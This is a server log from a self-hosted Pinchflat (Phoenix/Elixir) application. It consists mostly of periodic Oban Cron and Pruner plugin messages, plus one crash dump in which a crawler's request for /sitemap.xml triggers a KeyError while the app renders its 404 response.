{"source":"oban","duration":523,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:45:05.807 [info] {"source":"oban","duration":1369,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:35.809 [info] {"source":"oban","duration":1293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.062 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:46:05.813 [info] {"source":"oban","duration":3236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:35.817 [info] {"source":"oban","duration":2056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.067 [info] {"source":"oban","duration":4170,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:47:05.819 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:35.821 [info] {"source":"oban","duration":1581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.068 [info] {"source":"oban","duration":484,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:48:05.823 [info] {"source":"oban","duration":1915,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:35.826 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.069 [info] {"source":"oban","duration":358,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:49:05.829 [info] {"source":"oban","duration":2211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:35.832 [info] {"source":"oban","duration":2530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.071 [info] {"source":"oban","duration":1499,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:50:05.835 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:35.839 [info] {"source":"oban","duration":2207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.073 [info] {"source":"oban","duration":421,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:51:05.842 [info] {"source":"oban","duration":2288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:35.845 [info] {"source":"oban","duration":1420,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.074 [info] {"source":"oban","duration":434,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:52:05.847 [info] {"source":"oban","duration":900,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:35.850 [info] {"source":"oban","duration":2202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.077 [info] {"source":"oban","duration":2038,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:53:05.852 [info] {"source":"oban","duration":1778,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:35.856 [info] {"source":"oban","duration":2441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.079 [info] {"source":"oban","duration":760,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:54:05.858 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:35.860 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.080 [info] {"source":"oban","duration":448,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:55:05.864 [info] {"source":"oban","duration":3074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:35.867 [info] {"source":"oban","duration":2180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.081 [info] {"source":"oban","duration":577,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:56:05.869 [info] {"source":"oban","duration":1655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:35.871 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.082 [info] {"source":"oban","duration":543,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:57:05.873 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:35.875 [info] {"source":"oban","duration":1534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.084 [info] {"source":"oban","duration":845,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:58:05.877 [info] {"source":"oban","duration":1315,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:35.879 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.086 [info] {"source":"oban","duration":654,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 12:59:05.881 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:35.883 [info] {"source":"oban","duration":1773,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.089 [info] {"source":"oban","duration":946,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:00:05.886 [info] {"source":"oban","duration":1150,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:35.889 [info] {"source":"oban","duration":2245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.091 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:01:05.891 [info] {"source":"oban","duration":1772,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:35.896 [info] {"source":"oban","duration":2863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.093 [info] {"source":"oban","duration":983,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:02:05.900 [info] {"source":"oban","duration":3278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:35.902 [info] {"source":"oban","duration":1893,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.094 [info] {"source":"oban","duration":535,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:03:05.905 [info] {"source":"oban","duration":1371,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:34.516 [info] GET /sitemap.xml 13:03:34.518 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=967.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:03:34.519 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=862.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:03:34.520 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 13:03:34.521 [error] #PID<0.1259276.0> running PinchflatWeb.Endpoint (connection #PID<0.1259275.0>, stream id 1) terminated Server: tube.home.svallee.fr:80 (http) Request: GET /sitemap.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1259275.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 60240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1259276.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKe9NUVit5Fp3okADG7y"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1259275.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 60240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.1259275.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap.xml", host: "tube.home.svallee.fr", peer: {{10, 5, 5, 100}, 60240}, bindings: %{}, sock: {{172, 16, 3, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, zstd, deflate", "host" => "tube.home.svallee.fr", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "216.73.216.147", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "tube.home.svallee.fr", method: "GET", owner: #PID<0.1259276.0>, params: %{}, path_info: ["sitemap"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://tube.home.svallee.fr", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 5, 5, 100}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, zstd, deflate"}, {"host", "tube.home.svallee.fr"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "216.73.216.147"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKe9NUVit5Fp3okADG7y"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, (truncated) 13:03:35.908 [info] {"source":"oban","duration":2848,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.095 [info] {"source":"oban","duration":372,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:04:05.912 [info] {"source":"oban","duration":2074,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:35.915 [info] {"source":"oban","duration":2485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.096 [info] {"source":"oban","duration":465,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:05:05.920 [info] {"source":"oban","duration":3887,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:35.924 [info] {"source":"oban","duration":2488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.098 [info] {"source":"oban","duration":1174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:06:05.928 [info] {"source":"oban","duration":1964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:35.930 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.099 [info] {"source":"oban","duration":592,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:07:05.934 [info] {"source":"oban","duration":3086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:35.936 [info] {"source":"oban","duration":1384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.101 [info] {"source":"oban","duration":669,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:08:05.938 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:35.941 [info] {"source":"oban","duration":2145,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.103 [info] {"source":"oban","duration":1495,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:09:05.943 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:35.946 [info] {"source":"oban","duration":2146,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.104 [info] {"source":"oban","duration":620,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:10:05.948 [info] {"source":"oban","duration":1209,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:35.950 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.107 [info] {"source":"oban","duration":1677,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:11:05.952 [info] {"source":"oban","duration":1712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:35.955 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.109 [info] {"source":"oban","duration":378,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:12:05.957 [info] {"source":"oban","duration":1162,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:35.959 [info] {"source":"oban","duration":1563,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.110 [info] {"source":"oban","duration":401,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:13:05.961 [info] {"source":"oban","duration":1616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:35.964 [info] {"source":"oban","duration":2552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.111 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:14:05.966 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:35.968 [info] {"source":"oban","duration":1463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.112 [info] {"source":"oban","duration":430,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:15:05.970 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:35.972 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.113 [info] {"source":"oban","duration":634,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:16:05.975 [info] {"source":"oban","duration":1770,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:35.977 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.114 [info] {"source":"oban","duration":381,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:17:05.980 [info] {"source":"oban","duration":2087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:35.982 [info] {"source":"oban","duration":1277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.115 [info] {"source":"oban","duration":353,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:18:05.984 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:35.986 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.116 [info] {"source":"oban","duration":453,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:19:05.988 [info] {"source":"oban","duration":1709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:35.990 [info] {"source":"oban","duration":1846,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.117 [info] {"source":"oban","duration":461,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:20:05.993 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:35.995 [info] {"source":"oban","duration":1820,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.118 [info] {"source":"oban","duration":432,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:21:05.999 [info] {"source":"oban","duration":2258,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:36.002 [info] {"source":"oban","duration":2038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.119 [info] {"source":"oban","duration":336,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:22:06.005 [info] {"source":"oban","duration":2086,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:36.007 [info] {"source":"oban","duration":1830,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.120 [info] {"source":"oban","duration":410,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:23:06.011 [info] {"source":"oban","duration":1885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:36.055 [info] {"source":"oban","duration":43734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.121 [info] {"source":"oban","duration":574,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:24:06.058 [info] {"source":"oban","duration":2153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:36.061 [info] {"source":"oban","duration":2409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.123 [info] {"source":"oban","duration":907,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:25:06.063 [info] {"source":"oban","duration":1813,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:36.066 [info] {"source":"oban","duration":1215,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.125 [info] {"source":"oban","duration":772,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:26:06.068 [info] {"source":"oban","duration":1743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:36.071 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.126 [info] {"source":"oban","duration":709,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:27:06.076 [info] {"source":"oban","duration":2334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:36.079 [info] {"source":"oban","duration":2366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.129 [info] {"source":"oban","duration":1122,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:28:06.083 [info] {"source":"oban","duration":1250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:36.085 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.130 [info] {"source":"oban","duration":593,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:29:06.087 [info] {"source":"oban","duration":1057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:36.089 [info] {"source":"oban","duration":1300,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.132 [info] {"source":"oban","duration":367,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:30:06.091 [info] {"source":"oban","duration":1135,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:36.093 [info] {"source":"oban","duration":1671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.133 [info] {"source":"oban","duration":482,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:31:06.095 [info] {"source":"oban","duration":1156,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:36.097 [info] {"source":"oban","duration":1266,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.134 [info] {"source":"oban","duration":416,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:32:06.099 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:36.101 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.135 [info] {"source":"oban","duration":596,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:33:06.104 [info] {"source":"oban","duration":1839,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:36.107 [info] {"source":"oban","duration":1927,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.136 [info] {"source":"oban","duration":601,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:34:06.109 [info] {"source":"oban","duration":1489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:36.112 [info] {"source":"oban","duration":2611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.137 [info] {"source":"oban","duration":586,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:35:06.115 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:36.117 [info] {"source":"oban","duration":1857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.138 [info] {"source":"oban","duration":380,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:36:06.121 [info] {"source":"oban","duration":2028,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:36.123 [info] {"source":"oban","duration":1244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.139 [info] {"source":"oban","duration":713,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:37:06.125 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:36.127 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.141 [info] {"source":"oban","duration":565,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:38:06.130 [info] {"source":"oban","duration":2577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:36.135 [info] {"source":"oban","duration":3302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.144 [info] {"source":"oban","duration":883,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:39:06.137 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:36.139 [info] {"source":"oban","duration":1821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:00.146 [info] {"source":"oban","duration":737,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:40:06.143 [info] {"source":"oban","duration":2651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:36.148 [info] {"source":"oban","duration":4398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.151 [info] {"source":"oban","duration":2037,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:41:06.150 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:36.153 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.152 [info] {"source":"oban","duration":449,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:42:06.155 [info] {"source":"oban","duration":1238,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:36.157 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.153 [info] {"source":"oban","duration":678,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 13:43:06.160 [info] {"source":"oban","duration":2032,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:36.162 [info] 